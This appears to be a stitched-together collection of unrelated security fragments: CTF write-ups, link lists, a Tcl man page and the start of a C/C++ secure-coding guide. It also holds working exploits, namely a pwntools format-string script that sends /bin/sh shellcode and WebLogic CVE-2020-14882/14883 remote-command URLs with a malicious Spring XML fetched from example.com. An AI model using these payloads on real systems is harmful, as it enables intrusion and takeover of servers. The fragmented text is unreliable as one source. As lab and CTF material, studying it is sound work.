7 0.881854 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [ACK] Seq=452 Ack=26 Win=64240 Len=0 6010 33824
8 0.968644 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [PSH, ACK] Seq=452 Ack=26 Win=64240 Len=5 6010 33824
```
First, the client opens a connection to the server. The server immediately sends some data (a PNG file):
```console
root@kali:/media/sf_CTFs/kaf/QueueR# tshark -r QueueR.pcap -Y 'frame.number==4' -x
Running as user "root" and group "root". This could be dangerous.
0000 00 0c 29 36 af 15 00 50 56 e4 8c 53 08 00 45 00 ..)6...PV..S..E.
0010 01 eb c2 16 00 00 80 06 cf 7c 22 59 dc e9 c0 a8 .........|"Y....
0020 e7 8e 17 7a 84 20 4f d6 7c 37 af b3 5d d2 50 18 ...z. O.|7..].P.
0030 fa f0 cc 88 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 .......PNG......
0040 00 0d 49 48 44 52 00 00 01 22 00 00 01 22 01 00 ..IHDR..."..."..
0050 00 00 00 75 c5 e2 1b 00 00 01 8a 49 44 41 54 78 ...u.......IDATx
0060 9c ed 98 41 8e 83 20 18 85 df 3f 90 74 a9 c9 1c ...A.. ...?.t...
0070 a0 47 c1 2b cf 0d e4 28 3d c0 24 b2 6c 42 f3 66 .G.+...(=.$.lB.f
0080 01 54 6b 17 9d 8d 15 ea cf 4a e8 97 f8 f2 7c 55 .Tk......J....|U
0090 78 42 bc 1e fe eb 1f 10 a0 94 52 4a 29 a5 54 ed xB........RJ).T.
00a0 94 e4 61 21 d2 df 44 86 50 56 86 5d 75 1d 82 72 ..a!..D.PV.]u..r
00b0 24 c9 09 00 c2 89 00 0c 49 92 8f d4 fb 75 1d 82 $.......I....u..
00c0 0a f7 8c 97 21 22 76 cb 3b 2a b5 a6 38 76 57 79 ....!"v.;*..8vWy
00d0 eb 1d 8f 4b d9 d5 5c dc e5 c4 27 f3 6b 55 df 36 ...K..\...'.kU.6
00e0 55 bc ef 08 20 00 f4 3d 92 f5 cb 43 57 ad ea db U... ..=...CW...
00f0 a6 b2 f7 3e f9 6d 20 6e fa 8e 02 dc 1e b2 5f ab ...>.m n......_.
0100 fa b6 a9 e4 fd 9c 71 fa f3 55 f2 df 60 4f 5d 47 ......q..U..`O]G
0110 a0 90 b6 92 8e 31 cf dd 64 08 74 24 dc 84 bc f9 .....1..d.t$....
0120 1c 6b 55 df 36 55 72 1f 7a 00 dd af a5 3f 47 c0 .kU.6Ur.z....?G.
0130 fd d8 08 c0 94 07 52 ab fa b6 a9 92 fb 09 e0 88 ......R.........
0140 1c f9 7c 05 43 cd fd 86 54 f2 3e 1f 69 cb 9b 66 ..|.C...T.>.i..f
0150 5e 4b 17 ea fd 86 94 0c 30 04 82 08 fc 99 04 82 ^K......0.......
0160 05 90 c2 bf a7 ae cf a6 4a c6 cb 58 7c 61 39 e5 ........J..X|a9.
0170 52 47 73 bf 0d 85 65 65 56 de f7 69 e2 d4 fb b7 RGs...eeV..i....
0180 50 cb 1e 53 24 3f 80 b9 d9 a9 5c 7d e3 d4 dc 63 P..S$?....\}...c
0190 76 11 70 17 0b f8 de 30 af d5 ae be 4d 6a dd a5 v.p....0....Mj..
01a0 e5 cf 6c 77 15 20 d8 c8 bd 74 1d 81 5a 7b 9f cd ..lw. ...t..Z{..
01b0 0e 3d 08 dc 04 6e dc 47 d7 11 a8 75 8f 99 86 1f .=...n.G...u....
01c0 4c 14 c0 94 36 b9 56 f5 6d 53 4f fb 9c fb d9 6a L...6.V.mSO....j
01d0 fe 55 f7 39 db 50 4f 3d e6 7d a2 fd bd 52 4a 29 .U.9.PO=.}...RJ)
01e0 a5 d4 27 51 7f c0 26 dc 00 a0 1f 03 0f 00 00 00 ..'Q..&.........
01f0 00 49 45 4e 44 ae 42 60 82 .IEND.B`.
```
The client responds with the name of the book:
```console
root@kali:/media/sf_CTFs/kaf/QueueR# tshark -r QueueR.pcap -Y 'frame.number==6' -x
Running as user "root" and group "root". This could be dangerous.
0000 00 50 56 e4 8c 53 00 0c 29 36 af 15 08 00 45 00 .PV..S..)6....E.
0010 00 41 ec 8f 40 00 40 06 a6 ad c0 a8 e7 8e 22 59 .A..@.@......."Y
0020 dc e9 84 20 17 7a af b3 5d d2 4f d6 7d fa 50 18 ... .z..].O.}.P.
0030 f9 2d a7 ad 00 00 54 43 50 2f 49 50 20 49 6c 6c .-....TCP/IP Ill
0040 75 73 74 72 61 74 65 64 20 56 6f 6c 2e 20 31 ustrated Vol. 1
```
And the server confirms the solution:
```console
root@kali:/media/sf_CTFs/kaf/QueueR# tshark -r QueueR.pcap -Y 'frame.number==8' -x
Running as user "root" and group "root". This could be dangerous.
0000 00 0c 29 36 af 15 00 50 56 e4 8c 53 08 00 45 00 ..)6...PV..S..E.
0010 00 2d c2 26 00 00 80 06 d1 2a 22 59 dc e9 c0 a8 .-.&.....*"Y....
0020 e7 8e 17 7a 84 20 4f d6 7d fa af b3 5d eb 50 18 ...z. O.}...].P.
0030 fa f0 be 7e 00 00 47 6f 6f 64 21 00 ...~..Good!.
```
Let's try contacting the server ourselves:
```python
import socket
TCP_IP = '34.89.220.233'
TCP_PORT = 6010
BUFFER_SIZE = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
data = s.recv(BUFFER_SIZE)
with open("out.png", "wb") as o:
o.write(data)
s.close()
```
Output:
```console
root@kali:/media/sf_CTFs/kaf/QueueR# python tcp.py
root@kali:/media/sf_CTFs/kaf/QueueR# file out.png
out.png: PNG image data, 290 x 290, 1-bit grayscale, non-interlaced
root@kali:/media/sf_CTFs/kaf/QueueR# zbarimg out.png
QR-Code:9781118026472
scanned 1 barcode symbols from 1 images in 0.03 seconds
root@kali:/media/sf_CTFs/kaf/QueueR# curl -s https://api.altmetric.com/v1/isbn/$(zbarimg out.png -q | sed 's/^QR-Code:\(.*\)$/\1/') | python -m json.tool | grep title
"title": "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, 2nd Edition",
```
Looks like we can make contact! Now let's try answering a challenge:
```python
from pyzbar.pyzbar import decode
from PIL import Image
import requests
import socket
import io
TCP_IP = '34.89.220.233'
TCP_PORT = 6010
BUFFER_SIZE = 1024
def get_isbn_from_img(img_data):
img = Image.open(io.BytesIO(img_data))
decoded = decode(img)
return decoded[0].data
def get_name_from_isbn(isbn):
r = requests.get("https://api.altmetric.com/v1/isbn/{}".format(isbn))
return r.json()["title"]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
data = s.recv(BUFFER_SIZE)
isbn = get_isbn_from_img(data)
print isbn
name = get_name_from_isbn(isbn)
print name
s.send(name)
data = s.recv(BUFFER_SIZE)
print (data)
s.close()
```
Output:
```console
root@kali:/media/sf_CTFs/kaf/QueueR# python tcp.py
9780131103627
The C Programming Language
Good!
```
As the last step, let's run in a loop and answer all the challenges until we receive the flag:
```python
from pyzbar.pyzbar import decode
from PIL import Image
import requests
import socket
import io
# Since the online service does not contain all ISBNs, we use this
# list as a fallback, manually adding entries to it if the online service fails.
d = {}
with open("db.txt") as db:
for line in db:
line = line.rstrip()
isbn, name = line.split("|")
d[isbn] = name
TCP_IP = '34.89.220.233'
TCP_PORT = 6010
BUFFER_SIZE = 1024
def get_isbn_from_img(img_data):
img = Image.open(io.BytesIO(img_data))
decoded = decode(img)
return decoded[0].data
def get_name_from_isbn(isbn):
if isbn in d:
return d[isbn]
r = requests.get("https://api.altmetric.com/v1/isbn/{}".format(isbn))
return r.json()["title"]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
while True:
data = ""
try:
data = s.recv(BUFFER_SIZE)
isbn = get_isbn_from_img(data)
print isbn
name = get_name_from_isbn(isbn)
print name
s.send(name)
data = s.recv(BUFFER_SIZE)
print (data)
except IOError:
print data
break
s.close()
```
Output:
```console
root@kali:/media/sf_CTFs/kaf/QueueR# python 1.py
9780735684188
Windows Internals, Part 1: System architecture, processes, threads, memory management, and more (7th Edition)
Good!
9781593278595
Malware Data Science: Attack Detection and Attribution
Good!
9780262640688
The Elements of Computing Systems: Building a Modern Computer from First Principles
Good!
9781476734293
The Communist Manifesto
Good!
9781977593375
Windows Kernel Programming
Good!
9781985086593
Operating Systems: Three Easy Pieces
Good!
9780321294319
Rootkits : subverting the Windows kernel
Good!
9781593272906
Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
Good!
9781118026472
The Web Application Hacker's Handbook: Finding And: Dafydd Stuttard
Good!
9780133591620
Modern Operating Systems
Good!
9781593278267
Serious Cryptography: A Practical Introduction to Modern Encryption
Good!
9781118787311
Practical Reverse Engineering : x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation
Good!
9781593270476
The TCP/IP Guide
Good!
9781593278021
Practical Packet Analysis
Good!
9781593277161
Rootkits and Bootkits Reversing Modern Malware and Next Generation Threats
Good!
9780133594140
Computer Networking: A Top-Down Approach
Good!
9780134997834
A Tour of C++
Good!
9780132126953
Computer Networks
Good!
9780201633467
TCP/IP Illustrated, Vol. 1: The Protocols (Addison-Wesley Professional Computing Series)
Good!
9781118825099
The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory
Good!
9780201633610
Design Patterns: Elements of Reusable Object-Oriented Software
Good!
9780131103627
C Programming Language
Good!
9781593276690
Game Hacking
Good!
9781593271442
Hacking : The Art of Exploitation
Good!
9781449626365
The Rootkit Arsenal
Good!
9781119096726
Applied Cryptography
Good!
9780764574818
Reversing : secrets of reverse engineering
Good!
9780321714114
C++ Primer
Good!
9780470080238
The Shellcoder's Handbook: Discovering and Exploiting Security Holes
Good!
9781593279127
Practical Binary Analysis: Build Your Own Linux Tools for Binary Instrumentation Analysis and Disassembly
Good!KAF{k4r1_m4rx_15_7h3_b357}
```
|
sec-knowleage
|
# nodejs
---
## nodejs debug/inspect RCE
**相关文章**
- [浅析常见Debug调试器的安全隐患](https://security.tencent.com/index.php/blog/msg/137)
**POC | Payload | exp**
- [NodeJS Debugger - Command Injection (Metasploit)](https://www.exploit-db.com/exploits/42793)
---
## 反序列化
**相关文章**
- [Exploiting Node.js deserialization bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
- [Deserialization vulnerabilities: attacking deserialization in JS](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
sec-knowleage
|
#this was just ordinary format string attack
from pwn import *
import re
r = remote("pwn02.chal.ctf.westerns.tokyo", 18247)
print (r.recvuntil("> "))
r.send("%p")
d = r.recvuntil("> ")
stack = re.findall(r'(0x[0-9a-f]+)',str(d))[0]
print (stack)
#gdb.attach("nothing",gdbscript="b *0x00000000004007c3\nc")
#input(".")
ret = int(stack,16) + 264
print (f"ret = {ret:x}")
#ret = 0x1111111111111111
payloadend = b""
for i in range(0,8):
payloadend+=p64(ret+i)
buf = ret-264
sofar=0
write=buf+1
payload = b""
#%x$hhn are put at the beginning of the payload, addresses are pu in the end of payload, "a" is between.
for i in range(0,8):
w = write & 0xFF
write = write // 0x100
if w>sofar:
p = w - sofar
if p<8:
p=p+0x100
else:
p = w + 0x100 - sofar
payload += str.encode(("%"+str(p)+"x"+"%"+str(30+i)+"$hhn"))
sofar+=p
sofar%=0x100
payload=payload+str.encode("a"*(0x100-len(payload)-len(payloadend)))+payloadend
print (len(payload))
r.write(payload)
d = r.recvuntil("> ")
print ("---")
print (d)
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
r.write("q"+shellcode)
r.interactive()
|
sec-knowleage
|
# Weblogic Pre-Auth Remote Command Execution (CVE-2020-14882, CVE-2020-14883)
[中文版本(Chinese version)](README.zh-cn.md)
Oracle WebLogic Server is the industry leading application server for building enterprise applications using Java EE standards, and deploying them on a reliable, scalable runtime with low cost of ownership.
In [Oracle Critical Patch Update Advisory - October 2020](https://www.oracle.com/security-alerts/cpuoct2020traditional.html), Oracle fixed two security vulnerabilities submitted by security researcher @Voidfyoo from Chaitin Tech, CVE-2020-14882 and CVE-2020-14883.
CVE-2020-14882 allows remote users to bypass the authentication in administrator console component, and CVE-2020-14883 allows authencated user to execute any command on administrator console component. Using a chain of these two vulnerabilities, unauthenticated remote attacker can execute arbitrary commands on the Oracle WebLogic server over HTTP and take complete control of the host.
References:
- https://www.oracle.com/security-alerts/cpuoct2020traditional.html
- https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
## Environment Setup
Start a Weblogic server 12.2.1.3 by executing the following command:
```
docker compose up -d
```
After the startup is complete, visit `http://your-ip:7001/console` to view the administrator console login page.
## Exploit
Using this URL to bypass the authentication of Console component:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
```

At this moment, you don't have permission to upload a webshell:

The second vulnerability, CVE-2020-14883, there are two ways to exploit, one is through `com.tangosol.coherence.mvel2.sh.ShellSession`, and the other is through `com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`.
Visit the following URL to chain 2 vulnerabilities and execute commands from `com.tangosol.coherence.mvel2.sh.ShellSession`:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```
`touch /tmp/success1` has been successfully executed inside the container:

This method of exploit can only be used in Weblogic 12.2.1 and above, because 10.3.6 doesn't have the class `com.tangosol.coherence.mvel2.sh.ShellSession`.
`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext` is a more common exploit, which was first introduced in CVE-2019-2725 and is useable for any Weblogic versions.
To exploit the `FileSystemXmlApplicationContext`, you need to make a crafted XML file and serve it on a server that Weblogic can access, such as `http://example.com/rce.xml`:
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
```
Then through the following URL, Weblogic would load this XML and execute the commands in it:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
```

The shortcomings of this exploit is that, it requires the Weblogic server to be able to access the malicious XML.
|
sec-knowleage
|
## Android
- [Content Provider文件目录遍历漏洞](report/content_provider_1.md)
- [Content Provider任意数据访问漏洞](report/content_provider_2.md)
- [Content Provider SQL 注入漏洞](report/content_provider_3.md)
- [Android Webview远程代码执行漏洞](report/webview_rce_1.md)
- [Android Drm service 堆溢出漏洞(CVE-2017-13253)](report/drm_service_overflow.md)
- [AdobeReader 逻辑漏洞(CVE-2021-21037)](report/adobe_path_travel.md)
- [Chrome V8命令执行漏洞(CVE-2022-1310)](report/chrome_v8_UAF_1.md)
- [Android Https中间人攻击漏洞](report/https_mitm_1.md)
- [Intent Scheme URL 漏洞](report/intent_scheme_url_1.md)
- [Android WebView跨域访问漏洞](report/webview_cros_1.md)
|
sec-knowleage
|
#include <stdio.h>
#include <stdlib.h>
unsigned int tab[]= { 0x4007fd,0x40085c,0x4008c7,0x400926,0x40098a,
0x4009e8,0x400a4c,0x400ab0,0x400b14,0x400b73,0x400bd7,0x400c36,
0x400c95,0x400d0c,0x400d6b,0x400dcf,0x400e2e,0x400e8d,0x400eec,
0x400f4b,0x400faa,0x40100e };
char* pass=(char*)0x6040c0;
void testx(int a){}
char password[50];
int i;
unsigned char cc;
typedef void (*sighandler_t)(int);
sighandler_t signal(int signum, sighandler_t handler){
password[i]=cc;
printf("%s\n", password);
return testx;
}
__attribute__((constructor))
void init(){
for(i=0;i<sizeof(tab)/sizeof(tab[0]);i++){
sighandler_t f = (sighandler_t)tab[i];
for(cc=0;cc<128;cc++){
pass[i]=cc;
f(11); // SIGINT
}
}
exit(0);
}
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: gets.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: gets.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH gets 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
gets \- 从一个通道读一行
.SH "总览 SYNOPSIS"
\fBgets \fIchannelId\fR ?\fIvarName\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令从 \fIchannelId \fR读下一行,返回直到(但不包括)行结束字符的行中所有字符,并抛弃行结束字符。如果省略了 \fIvarName\fR,把这一行作为命令的结果返回。如果指定了 \fIvarName\fR ,则把这一行放置到叫这个名字的变量中而返回值是返回的字符总数。
.PP
如果在检索行结束的时候遇到了文件结束,命令返回直到文件结束可获得的所有输入。如果 \fIchannelId\fR在非阻塞模式下并且不能获得完整的一行的输入,命令返回一个空串并不消耗任何输入。因为文件结束或因为在非阻塞模式下数据不充足,如果指定了 \fIvarName\fR 并切返回了一个空串,则返回的总数是 -1。注意如果未指定 \fIvarName\fR 则在文件结束和没有可获得的完整的一行的情况下产生的结果与输入行只由一个行结束字符组成同样。使用\fBeof\fR 和 \fBfblocked\fR命令来区别这三种情况。
.SH "参见 SEE ALSO"
file(n), eof(n), fblocked(n)
.SH "关键字 KEYWORDS"
blocking, channel, end of file, end of line, line, nonblocking, read
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/09/02
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Better ZIP, crypto, 231p
> The legacy ZIP crypto is long broken, so we've fixed it
In this task we got Python implementation of ZIP compressor, which used custom cryptography. We don't know the
password they used, so we cannot decompress it, but we can see the file list - `flag.png`.
The cryptography was quite simple. There were 8 Linear Feedback Shift Registers, initialized basing on
the password. They were only 20 bit in length, so we could brute force it, if we had enough plaintext known.
Luckily, PNG has a few predictable places at the beginning and the end. Unfortunately, the first 20 bits,
which are mostly constant headers, we know already from the ZIP file structure, so they are useless.
The bits we used as known, were:
- 20 and 21, set to 0000, top two bytes of image height
- 24, set to 08, bit depth
- 25, set to 02, color type (RGB)
- 26, set to 00, compression
- 27, set to 00, filter type
- 28, set to 00, interlacing
- 33, set to 00, high byte of next chunk's length
- and final 12 bytes, which is the whole IEND chunk
This was 20 bits in total, which allowed us to write `parse.py` and narrow down the LFSR parameter
possibilities to just a couple each - or a couple hundred combinations in total. We brute forced them
all - `final.py` - and if it produced a valid PNG, we were done.
|
sec-knowleage
|
<!-- markdown="1" is required for GitHub Pages to render the TOC properly. -->
<details markdown="1">
<summary>目录</summary>
- [1 通用安全指南](#1)
* [I. C/C++使用错误](#1.1)
+ [1.1 不得直接使用无长度限制的字符拷贝函数](#1.1.1)
+ [1.2 创建进程类的函数的安全规范](#1.1.2)
+ [1.3 尽量减少使用 _alloca 和可变长度数组](#1.1.3)
+ [1.4 printf系列参数必须对应](#1.1.4)
+ [1.5 防止泄露指针(包括%p)的值](#1.1.5)
+ [1.6 不应当把用户可修改的字符串作为printf系列函数的“format”参数](#1.1.6)
+ [1.7 对数组delete时需要使用delete[]](#1.1.7)
+ [1.8 注意隐式符号转换](#1.1.8)
+ [1.9 注意八进制问题](#1.1.9)
* [II. 不推荐的编程习惯](#1.2)
+ [2.1 switch中应有default](#1.2.1)
+ [2.2 不应当在Debug或错误信息中提供过多内容](#1.2.2)
+ [2.3 不应该在客户端代码中硬编码对称加密秘钥](#1.2.3)
+ [2.4 返回栈上变量的地址](#1.2.4)
+ [2.5 有逻辑联系的数组必须仔细检查](#1.2.5)
+ [2.6 避免函数的声明和实现不同](#1.2.6)
+ [2.7 检查复制粘贴的重复代码](#1.2.7)
+ [2.8 左右一致的重复判断/永远为真或假的判断](#1.2.8)
+ [2.9 函数每个分支都应有返回值](#1.2.9)
+ [2.10 不得使用栈上未初始化的变量](#1.2.10)
+ [2.11 不得直接使用刚分配的未初始化的内存(如realloc)](#1.2.11)
+ [2.12 校验内存相关函数的返回值](#1.2.12)
+ [2.13 不要在if里面赋值](#1.2.13)
+ [2.14 确认if里面的按位操作](#1.2.14)
* [III. 多线程](#1.3)
+ [3.1 变量应确保线程安全性](#1.3.1)
+ [3.2 注意signal handler导致的条件竞争](#1.3.2)
+ [3.3 注意Time-of-check Time-of-use条件竞争](#1.3.3)
* [IV. 加密解密](#1.4)
+ [4.1 不得明文存储用户密码等敏感数据](#1.4.1)
+ [4.2 内存中的用户密码等敏感数据应该安全抹除](#1.4.2)
+ [4.3 rand() 类函数应正确初始化](#1.4.3)
+ [4.4 在需要高强度安全加密时不应使用弱PRNG函数](#1.4.4)
+ [4.5 自己实现的rand范围不应过小](#1.4.5)
* [V. 文件操作](#1.5)
+ [5.1 避免路径穿越问题](#1.5.1)
+ [5.2 避免相对路径导致的安全问题](#1.5.2)
+ [5.3 文件权限控制](#1.5.3)
* [Ⅵ. 内存操作](#1.6)
+ [6.1 防止各种越界写](#1.6.1)
+ [6.2 防止任意地址写](#1.6.2)
* [Ⅶ. 数字操作](#1.7)
+ [7.1 防止整数溢出](#1.7.1)
+ [7.2 防止Off-By-One](#1.7.2)
+ [7.3 避免大小端错误](#1.7.3)
+ [7.4 检查除以零异常](#1.7.4)
+ [7.5 防止数字类型的错误强转](#1.7.5)
+ [7.6 比较数据大小时加上最小/最大值的校验](#1.7.6)
* [Ⅷ. 指针操作](#1.8)
+ [8.1 检查在pointer上使用sizeof](#1.8.1)
+ [8.2 检查直接将数组和0比较的代码](#1.8.2)
+ [8.3 不应当向指针赋予写死的地址](#1.8.3)
+ [8.4 检查空指针](#1.8.4)
+ [8.5 释放完后置空指针](#1.8.5)
+ [8.6 防止错误的类型转换](#1.8.6)
+ [8.7 智能指针使用安全](#1.8.7)
</details>
<a id="1"></a>
## 通用安全指南
<a id="1.1"></a>
### 1 C/C++使用错误
<a id="1.1.1"></a>
#### 1.1 【必须】不得直接使用无长度限制的字符拷贝函数
不应直接使用legacy的字符串拷贝、输入函数,如strcpy、strcat、sprintf、wcscpy、mbscpy等,这些函数的特征是:可以输出一长串字符串,而不限制长度。如果环境允许,应当使用其_s安全版本替代,或者使用n版本函数(如:snprintf,vsnprintf)。
若使用形如sscanf之类的函数时,在处理字符串输入时应当通过%10s这样的方式来严格限制字符串长度,同时确保字符串末尾有\0。如果环境允许,应当使用_s安全版本。
但是注意,虽然MSVC 2015时默认引入结尾为0版本的`snprintf`(行为等同于C99定义的`snprintf`)。但更早期的版本中,MSVC的`snprintf`可能是`_snprintf`的宏。而`_snprintf`是不保证\0结尾的(见本节后半部分)。
```c++
(MSVC)
Beginning with the UCRT in Visual Studio 2015 and Windows 10, snprintf is no longer identical to _snprintf. The snprintf function behavior is now C99 standard compliant.
从Visual Studio 2015和Windows 10中的UCRT开始,snprintf不再与_snprintf相同。snprintf函数行为现在符合C99标准。
请参考:https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/snprintf-snprintf-snprintf-l-snwprintf-snwprintf-l?redirectedfrom=MSDN&view=vs-2019
```
因此,在使用n系列拷贝函数时,要确保正确计算缓冲区长度,同时,如果你不确定是否代码在各个编译器下都能确保末尾有0时,建议可以适当增加1字节输入缓冲区,并将其置为\0,以保证输出的字符串结尾一定有\0。
```c++
// Good
char buf[101] = {0};
